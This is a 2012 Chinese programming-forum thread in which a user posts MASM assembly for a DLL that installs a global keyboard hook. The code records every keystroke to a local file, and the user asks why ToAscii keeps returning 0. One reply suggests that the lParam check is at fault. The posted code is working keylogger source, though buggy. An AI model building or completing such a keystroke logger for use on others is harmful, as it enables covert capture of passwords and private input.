鱼C论坛

 找回密码
 立即注册
查看: 1719|回复: 2

大家帮忙看看这个DLL

[复制链接]
发表于 2012-7-18 17:31:02 | 显示全部楼层 |阅读模式
1鱼币
本帖最后由 shadowxh 于 2012-7-18 17:34 编辑

写了个全局钩子,用来记录按键并写入一个文件,可是发现无论怎么改,invoke ToAscii的返回值始终是0.。。。郁闷
好心人帮忙看看,感激不尽。代码如下:
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
.data
hInstance    dd    ?
.data?
hHook    dd    ?
hFile    dd    ?
szAscii        db    4 dup (?)
lpNumWritten    dd    ?
.const
szFileName    db    '1.txt',0
.code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;dll入口点
DllEntry proc _hInstance,_dwReason,_dwReserved
   
    push _hInstance
    pop hInstance
    mov eax,_dwReason
    .if eax==DLL_PROCESS_ATTACH
        invoke CreateFile,offset szFileName,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,0
        .if eax
        mov hFile,eax
        mov eax,TRUE
        ret
        .endif
    .elseif eax==DLL_PROCESS_DETACH
        invoke CloseHandle,hFile
        mov eax,TRUE
        ret
    .else
        mov eax,TRUE
        ret
    .endif
    ret
DllEntry endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;钩子回调函数
ProcHook proc _dwCode,_wParam,_lParam
    LOCAL @szKeyBoardState[256]:byte
    mov eax,_lParam
    shr eax,31
    .if eax
        invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam
        invoke GetKeyboardState,addr @szKeyBoardState
        invoke GetKeyState,VK_SHIFT
        mov @szKeyBoardState+VK_SHIFT,al
        mov ecx,_lParam
        shr ecx,16
        invoke ToAscii,_wParam,ecx,addr @szKeyBoardState,addr szAscii,0
        mov byte ptr szAscii [eax],0
        invoke WriteFile,hFile,addr szAscii,sizeof szAscii,offset lpNumWritten,0
    .endif
    ret

ProcHook endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;钩子安装函数
InstallHook proc
   
    invoke SetWindowsHookEx,WH_KEYBOARD,offset ProcHook,hInstance,0
    mov hHook,eax
    ret

InstallHook endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;钩子卸载函数
UninstallHook proc
   
    invoke UnhookWindowsHookEx,hHook
    ret

UninstallHook endp
end DllEntry


想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2012-7-19 14:31:27 | 显示全部楼层
    LOCAL @szKeyBoardState[256]:byte
     mov eax,_lParam
     shr eax,31
这里可能有点问题
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2012-7-19 15:16:48 | 显示全部楼层
LOCAL @szKeyBoardState[256]:byte
     mov eax,_lParam
     shr eax,31
这里可能有点问题

为什么?
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-10-8 06:21

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表